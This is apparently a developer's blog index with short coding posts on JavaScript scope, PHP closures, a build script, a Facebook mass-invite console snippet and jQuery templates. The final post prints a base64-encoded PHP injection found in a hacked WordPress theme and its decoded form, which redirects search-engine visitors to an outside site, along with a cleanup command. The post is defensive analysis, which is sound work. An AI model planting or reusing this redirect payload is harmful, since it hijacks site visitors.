Event-Emitter and the lost Scope


Hi,
One of the most annoying thinks when you deal with Events in async languages like JavaScript is the lost of scope.

Here is example in NodeJs

User.js


var User = function()
{
	var userAction = new UserAction()
	userAction.on("someEvent", this.handler);
}
User.prototype.handler = function(){
// this == EventEmitter, we lose User scope here
};

UserAcion.js
var events = require('events');
var UserAction = function()
{
	this.eventEmitter = new events.EventEmitter();
	this.emit("someEvent");
}

In this scenario we lose the scope (this) in handle function,
we can fix it with little workaround – bind() function.

The bind() function creates a new function (a bound function) with the same function body (internal call property in ECMAScript 5 terms) as the function it is being called on (the bound function’s target function) with the this value bound to the first argument of bind(), which cannot be overridden. bind() also accepts leading default arguments to provide to the target function when the bound function is called. A bound function may also be constructed using the new operator: doing so acts as though the target function had instead been constructed. The provided this value is ignored, while prepended arguments are provided to the emulated function.

The implementing is very easy:


// just change 
userAction.on("someEvent", this.handler);
// to 
userAction.on("someEvent", this.handler.bind(this));

Now the handler function scope is User object.

Have fun :)
Garry

Read More

Python: Recursive flat tree object

Hi,
This is an example how to flat Tree object (in my case lxml tree) to list.

Objects tree
Object tree

Example of tree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[
  {
    "ele_1": [
      {
        "ele_3": []
      },
      {
        "ele_4": [
          {
            "ele_5": []
          },
          {
            "ele_6": []
          }
        ]
      }
    ]
  },
  {
    "ele_2": [
      {
        "ele_7": []
      },
      {
        "ele_8": []
      }
    ]
  }
]

Expected result:

1
["elem_1","elem_2","elem_3","elem_4","elem_5","elem_6","elem_7","elem_8"]

Recursive function:
* getchildren – get childrens in lxml case

1
2
3
4
5
6
7
8
9
10
def _flat_childs(elem):
        list = []

        def _drill(elem, list):
                for childElem in elem.getchildren():
                        list.append(childElem)
                        _drill(childElem, list)
        _drill(elem, list)

        return list

Have fun :)
Garry Lachman

Read More

New Facebook events invite dialog (March, 2015) invite all script [updated]

Recently Facebook change the invite dialog.

UPDATED – MARCH 2015

This is the new Invite all for Facebook Javascript
Use Chrome Browser only !!!

  • 1. Open the invite dialog
  • 2. Scroll down to to load all friends list
  • 3. Open Developer Tools (see image)
    Open Developer Tools (Chrome)
  • 4. Click on “Console” tab in Developer Tools (see image)
    Console tab
  • 5. In “Console” past this code:
    1
    var x=document.querySelectorAll(".uiScrollableAreaContent ._3hqu");for(var i in x) {x[i].click(); }
  • 6. Press enter & wait :) – may take few minutes, don`t invite more then 500 every time.


Mito Jah Bless – add limit (500) support to the script.
Thanks mate, great thumb up :)

1
var x=document.querySelectorAll(".uiScrollableAreaContent ._3hqu");y=1;for(var i in x) {if(y<500){x[i].click();y++;}else{break;}}

iPhone Alternative: Invite All for Facebook (iOS App):
https://itunes.apple.com/us/app/invite-all-for-facebook/id881128985?mt=8

Have fun

Read More

How to Compile JS & CSS to one file for best performance

Hey,
To get the best performance on your website you need to reduce external call like js & css files.
I build little BASH script that compile all your files to one JS file and one CSS file.

We will use some tools like : Google Closure & dos2unix

1. Create “build” folder in your application.
2. Create the files “js_list.txt” and “css_list.txt” and write line by line all your js & css files.
3. Download Google Closure and copy the file “compiler.jar” to this folder.
4. Create the file “build.sh”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
# (c) Copyright by Garry Lachman - http://www.garry-lachman.com
# GNU/GPL
echo "" > full.js
echo "" > full.css
# JS
echo -e "\nBuild JS\n----------------"
while read line ; do
        JS_FILES[$index]="$line"
        index=$(($index+1))
done < js_list.txt

for f in "${JS_FILES[@]}"
do
        cat "../js/$f" >> full.js
        echo ";" >> full.js
        echo -e "* $f"
done

#CSS
echo -e "\nBuild CSS\n----------------"
index=0
while read line ; do
        CSS_FILES[$index]="$line"
        index=$(($index+1))
done < css_list.txt

for f in "${CSS_FILES[@]}"
do
        cat "../css/$f" >> full.css
        echo -e "* $f"
done

echo -e "\n"
echo -n "Compile JS"
java -jar compiler.jar --language_in ECMASCRIPT5 --compilation_level WHITESPACE_ONLY --js full.js --js_output_file full-compiled.js
echo " - Done"
echo -n "CSS Dos2Unix Format"
dos2unix full.css full.css
echo -e "Moving Compiled Files"
cp full.js ../js/full.js
cp full-compiled.js ../js/full-compiled.js
cp full.css ../css/full.css

5. I use the parent folders “js” and “css” but you can change it to your folder, just replace “../js/” & “../css/” to your path
6. Executing permission:

1
chmod +x build.sh

7. Run the code

1
./build.sh

You will see the output like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[root@web-serv build]# ./build.sh

Build JS
----------------
* flash_wrapper/swfobject.js
* jquery.tools.local.min.js
* jquery.dropkick-1.0.0.js

Build CSS
----------------
* style.css
* components.css

Compile JS - Done
CSS Dos2Unix Formatdos2unix: converting file full.css to UNIX format ...
dos2unix: converting file full.css to UNIX format ...
Moving Compiled Files

Now check the files: full.css & full-compiled.js

Have fun :)

Read More

Anonymous functions now available from PHP 5.3

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.

Example:

1
2
3
4
$myName = function($name)
{
    echo "My name is $name";
};

Or you can use it as callback like javascript

1
2
3
4
5
6
7
8
9
10
11
12
$arr = array(
    "first_name" => "Garry",
    "last_name" => "Lachman",
    "age" => "27"
);

$callback_function = function ($field, $field_value)
{
    echo "$field = $field_value";
};
       
array_walk($arr, $callback_function);

Using variables out function scope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$prefix = "*)";

$arr = array(
    "first_name" => "Garry",
    "last_name" => "Lachman",
    "age" => "27"
);

$callback_function = function ($field, $field_value) use ($prefix)
{
    echo "$prefix $field = $field_value";
};
       
array_walk($arr, $callback_function);

Have fun boys & girls :)

Read More

jQuery Communicator Singleton (Manage & Cache ajax requests)

Hey,
I wrote this class for cache ajax request if the same request sent twice.
The second reason why i use this class is a like there is only one exit point
from the application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
var Communicator =(function(){
    var instantiated;
    var retry = new Array();
    var cached_data = new Array();

    function init (){
        return {
            dispatch:function(url, callback){
                var self = this;
                if (Communicator.getInstance().cached_data[url])    {
                    callback(Communicator.getInstance().cached_data[url]);
                    return;
                }
                if (!retry[url])    {
                    retry[url] = 0;
                }
                var _rq = $.ajax({
                    url: url,
                    timeout: 30000,
                    success: function(_data){
                        Communicator.getInstance().cached_data[url] = _data;
                        callback(_data);
                    },
                    error: function(){
                        if (retry[url] < 3) {
                            retry[url]++;
                            dispatch(url, callback, retry[url]);
                        }   else    {
                            callback("");  
                        }
                    }
                });
            },
            cached_data: {}
        }
    }

    return {
        getInstance :function(){
            if (!instantiated){
                instantiated = init();
            }
            return instantiated;
        }
    }
})()

Using the class

1
2
3
4
5
6
7
8
9
10
11
12
Communicator.getInstance().dispatch(url,function(data){
    var error = false;
    try {
            data = eval("("+data+")");
    } catch(err)    {
        error = true;
    }

    if (!error)    {
        console.log(data);
    }                    
});

Have fun :)
Garry

Read More

JS: Prevent IE crash when using console (console.log)

console is undefined
console is undefined

When the console is close and we call console.log from javascript most of the times
Internet Explorer will crash with the message:
Error: ‘console’ is undefined

Here is my solution for this annoying bug.

1
2
3
4
5
6
7
if (typeof console == 'undefined')   {
    var console = new Object();
    console.log = function(){}
    console.error = function(){}
    console.debug = function(){}
    console.warn = function(){}
}

Thanks “brucebannor” for advice.

Have fun :)
Garry Lachman

Read More

jQuery Plugin Template

Hey,
I want to share some template that i usually use for starting new jQuery Plugin.
its base template that contains public methods, private methods, settings and custom events.

And here it come..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
    (c) By Garry Lachman (http://www.garry-lachman.com), GPL License
*/


var PluginCustomEvents = {
    EVENT: "myPluginCustomEvent"
};

(function($) {
    var plugin = this;

    $.fn.pluginTemplate = function(method) {
        var methods = {
            init : function(options) {
                this.pluginTemplate.settings = $.extend({}, this.pluginTemplate.defaults, options);
                return this.each(function() {
                    var $self = $(this);
                    var self = this;
                       
                });
            }
        };

        var privateMethods = {
            privateMethod: function(){

            }
        };

        if (methods[method]) {
            return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
        } else if (typeof method === 'object' || !method) {
            return methods.init.apply(this, arguments);
        } else {
            console.error("No Method: " + method);
        }
    }

    $.fn.pluginTemplate.defaults = {
        defaultProperty: "defaultValue"
    };

    $.fn.pluginTemplate.settings = {};


})(jQuery);

Init plugin:

1
2
3
4
5
6
$("#target").pluginTemplate(); // rename it to your plugin name

// init with settings
$("#target").pluginTemplate({
    property1: "value"
});

Call public methods:

1
$("#target").pluginTemplate("method_name", "parameters");

Call private methods (inside the plugin):

1
privateMethods.privateMethod.call(this, parameters ...);

Have Fun ;)
Garry Lachman

Read More

Virus i found in WordPress and my fast fix solution

After my firend WordPress has been hacked – all work ok but he got
Virus warning from Google.
I search footprint in the code and i found this line repeat in all theme files:

1
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

Its base64 encoded php code that executes with eval function, after decoding that i got

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://froling.bee.pl/");
exit();}}}}

The Solution for cleanup the code – LINUX ONLY !!!
Download all php files to local machine and run this command, if you base63 code is different
than change it

1
rpl -x'.php' -Rf "eval(base64_decode(\"DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9\"));" "" *

Have Fun

Read More